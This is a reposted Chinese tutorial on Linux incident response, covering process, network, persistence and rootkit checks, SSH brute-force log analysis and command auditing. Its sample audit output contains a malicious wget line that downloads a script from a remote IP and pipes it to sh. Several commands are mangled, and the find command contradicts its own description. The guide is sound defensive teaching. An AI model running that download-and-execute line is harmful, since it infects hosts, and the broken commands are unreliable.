返回顶部
首页 > 资讯 > 操作系统 >Linux应急响应技巧有哪些
  • 592
分享到

Linux应急响应技巧有哪些

2023-06-16 05:06:46 592人浏览 八月长安
摘要

这篇文章主要介绍了linux应急响应技巧有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。概述Linux环境下处理应急响应事件往往会更加的棘手,因为相比于windows,L

这篇文章主要介绍了linux应急响应技巧有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

概述

Linux环境下处理应急响应事件往往会更加的棘手,因为相比于windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。

处理Linux应急响应主要分为这4个环节:识别现象-> 清除病毒-> 闭环兜底-> 系统加固。

首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。

然后定位到具体的病毒进程以及病毒文件,进行清除。

完成前2步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从WEB再次入侵进来。

走完这4个环节,才能算是一个应急响应流程的结束。

Linux应急响应技巧有哪些

识别现象

第1个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统CPU是否异常

枚举进程,CPU降序排序:top

Linux应急响应技巧有哪些

CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了。

Linux应急响应技巧有哪些

是否存在可疑进程

枚举进程命令行:ps -aux

Linux应急响应技巧有哪些

病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。

Linux应急响应技巧有哪些

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。

Linux应急响应技巧有哪些

监控与目标IP通信的进程:

while true; do netstat -antp | grep [ip]; done

Linux应急响应技巧有哪些

有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控。

Linux应急响应技巧有哪些

我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。

Linux应急响应技巧有哪些

这样就能得到与之通信的恶意进程了。

Linux应急响应技巧有哪些

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

Linux应急响应技巧有哪些

清除病毒

从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid] kill -9 [pid]

Linux应急响应技巧有哪些

删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe rm -f [exe_path]

Linux应急响应技巧有哪些

闭环兜底

Linux下的病毒持久化驻留方式相比于Windows较少,主要以下4种方式。

检查是否存在可疑定时任务

枚举定时任务:crontab-l

Linux应急响应技巧有哪些

查看anacron异步定时任务:cat/etc/anacrontab

Linux应急响应技巧有哪些

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service--status-all

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

检查是否存在病毒守护进程

监控守护进程的行为:lsof-p[pid]

Linux应急响应技巧有哪些

strace-tt-T -etrace=all-p$pid

扫描是否存在恶意驱动

枚举/扫描系统驱动:lsmod

安装chkrootkit进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit

安装rkhunter进行扫描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz

tar -zxvf rkhunter-1.4.4.tar.gz

cd rkhunter-1.4.4

./installer.sh --install

rkhunter -c

最后一个环节往往是大家比较容易遗忘的,Linux平台下90%的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为Web安全防护不够,赶紧检查一下。

修改ssh弱密码

查询log主机登陆日志

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源IP:

grep "Failed passWord" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码:

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息:

[1]保存1万条命令:

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

[2]在/etc/profile的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ]  then  USER_IP=`hostname`  fi  export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "  shopt -s histappend  export PROMPT_COMMAND="history -a"

[3]让配置生效:

source /etc/profile

生成效果:

762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-<a href="Http://103.219.112.66:8000/i.sh">http://103.219.112.66:8000/i.sh</a>) | sh

打上常见Web漏洞补丁

structs2系列RCE漏洞 thinkPHP5.XRCE漏洞 Redis未授权访问漏洞 ConfluenceRCE漏洞(CVE_2019_3396) DrupalRCE漏洞(CVE-2018-7600) ThinkphpRCE漏洞(CVE-2019-9082)

感谢你能够认真阅读完这篇文章,希望小编分享的“Linux应急响应技巧有哪些”这篇文章对大家有帮助,同时也希望大家多多支持编程网,关注编程网操作系统频道,更多相关知识等着你来学习!

--结束END--

本文标题: Linux应急响应技巧有哪些

本文链接: https://lsjlt.com/news/282491.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Linux应急响应技巧有哪些
    这篇文章主要介绍了Linux应急响应技巧有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。概述Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,L...
    99+
    2023-06-16
  • Linux的应急响应技巧是什么
    Linux的应急响应技巧是什么,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。概述Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Li...
    99+
    2023-06-16
  • Linux操作系统的应急技巧有哪些
    本篇内容主要讲解“Linux操作系统的应急技巧有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux操作系统的应急技巧有哪些”吧!    1.使用急救盘组进...
    99+
    2023-06-10
  • Python 响应文件的技巧有哪些?
    Python 是一种强大的编程语言,可用于多种用途,其中包括处理文件。在本文中,我们将探讨 Python 中响应文件的一些技巧,包括如何打开文件、读取文件内容、写入文件以及关闭文件。 打开文件 在 Python 中,使用 open()...
    99+
    2023-09-03
    响应 文件 开发技术
  • html5响应式布局的技巧有哪些
    这篇文章主要介绍“html5响应式布局的技巧有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“html5响应式布局的技巧有哪些”文章能帮助大家解决问题。 一、什...
    99+
    2024-04-02
  • Css应用技巧有哪些
    这篇文章主要介绍了Css应用技巧有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1.清除图片下方出现几像素的空白间隙方法1:代码如下:i...
    99+
    2024-04-02
  • web响应式设计的基本技巧有哪些
    这篇文章主要介绍“web响应式设计的基本技巧有哪些”,在日常操作中,相信很多人在web响应式设计的基本技巧有哪些问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”web响应式设计...
    99+
    2024-04-02
  • 自适应屏幕的CSS响应式布局设计技巧有哪些
    这期内容当中小编将会给大家带来有关自适应屏幕的CSS响应式布局设计技巧有哪些,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。响应式设计目前非常流行自适应设计与响应式设计,而...
    99+
    2024-04-02
  • VB.NET窗体应用技巧有哪些
    小编给大家分享一下VB.NET窗体应用技巧有哪些,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!打开 Visual Studio 2008在文件 (File) 菜单...
    99+
    2023-06-17
  • 记一次linux服务器入侵应急响应(小结)
    近日接到客户求助,他们收到托管电信机房的信息,通知检测到他们的一台服务器有对外发送攻击流量的行为。希望我们能协助排查问题。 一、确认安全事件 情况紧急,首先要确认安全事件的真实性。经过和服务器运维人员沟通,了解到业务只...
    99+
    2022-06-04
    linux服务器入侵响应 linux服务器入侵
  • linux的技巧有哪些
    本篇内容主要讲解“linux的技巧有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux的技巧有哪些”吧!Linux下修改MAC地址  MAC地址是网卡的物理地址,在Windows系统下...
    99+
    2023-06-10
  • IE中JavaScript DOM ready应用技巧有哪些
    IE中JavaScript DOM ready应用技巧有哪些,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能...
    99+
    2024-04-02
  • html footer应用与布局技巧有哪些
    本文小编为大家详细介绍“html footer应用与布局技巧有哪些”,内容详细,步骤清晰,细节处理妥当,希望这篇“html footer应用与布局技巧有哪些”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深...
    99+
    2024-04-02
  • 关于PHP模板应用技巧有哪些
    关于PHP模板应用技巧有哪些,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。PHP经过长时间的发展,很多用户都很了解PHP了,这里我发表一下个人理解,和大家讨论讨论。我发现很...
    99+
    2023-06-17
  • VB.NET界面开发应用技巧有哪些
    这篇文章主要为大家展示了“VB.NET界面开发应用技巧有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“VB.NET界面开发应用技巧有哪些”这篇文章吧。VB.NET界面VB允许我们创建有多个界...
    99+
    2023-06-17
  • win10应用程序权限技巧有哪些
    这篇文章主要介绍“win10应用程序权限技巧有哪些”,在日常操作中,相信很多人在win10应用程序权限技巧有哪些问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”win10应用程序权限技巧有哪些”的疑惑有所帮助!...
    99+
    2023-07-01
  • 使用Linux技巧有哪些
    小编给大家分享一下使用Linux技巧有哪些,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1:检查不是由你运行的程序难度:高级应用程序:bash(译注:UNIX或者...
    99+
    2023-06-16
  • Linux使用技巧有哪些
    这篇文章主要为大家展示了“Linux使用技巧有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux使用技巧有哪些”这篇文章吧。1.快速跳转命令 - z要是每次都要进入一个目录很深的文件夹...
    99+
    2023-06-15
  • Linux运维技巧有哪些
    这篇文章主要讲解了“Linux运维技巧有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Linux运维技巧有哪些”吧!1、查找当前目录下所有以.tar结尾的文件然后移动到指定目录find&...
    99+
    2023-06-27
  • 不可错过的Angular应用技巧有哪些
    本篇文章给大家分享的是有关不可错过的Angular应用技巧有哪些,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。angular的核心思想是通过数...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作